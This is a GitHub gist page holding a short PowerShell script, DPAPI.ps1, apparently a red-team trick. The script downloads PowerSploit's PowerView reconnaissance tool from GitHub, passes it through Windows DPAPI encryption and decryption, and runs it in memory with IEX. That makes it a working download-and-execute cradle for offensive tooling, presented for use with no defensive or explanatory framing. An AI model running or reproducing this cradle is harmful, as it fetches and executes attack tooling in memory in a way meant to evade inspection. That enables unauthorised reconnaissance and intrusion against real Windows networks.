Skip to content

Instantly share code, notes, and snippets.

@H0K5
Forked from HarmJ0y/DPAPI.ps1
Created December 6, 2017 15:40
Show Gist options
  • Save H0K5/ac03520d13fe25daac9f075ff06238ac to your computer and use it in GitHub Desktop.
Save H0K5/ac03520d13fe25daac9f075ff06238ac to your computer and use it in GitHub Desktop.
DPAPI.ps1
Add-Type -AssemblyName System.Security
$Content = (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')
$Bytes = ([Text.Encoding]::ASCII).GetBytes($Content)
$EncryptedBytes = [Security.Cryptography.ProtectedData]::Protect($Bytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)
IEX (([Text.Encoding]::ASCII).GetString([Security.Cryptography.ProtectedData]::Unprotect($EncryptedBytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment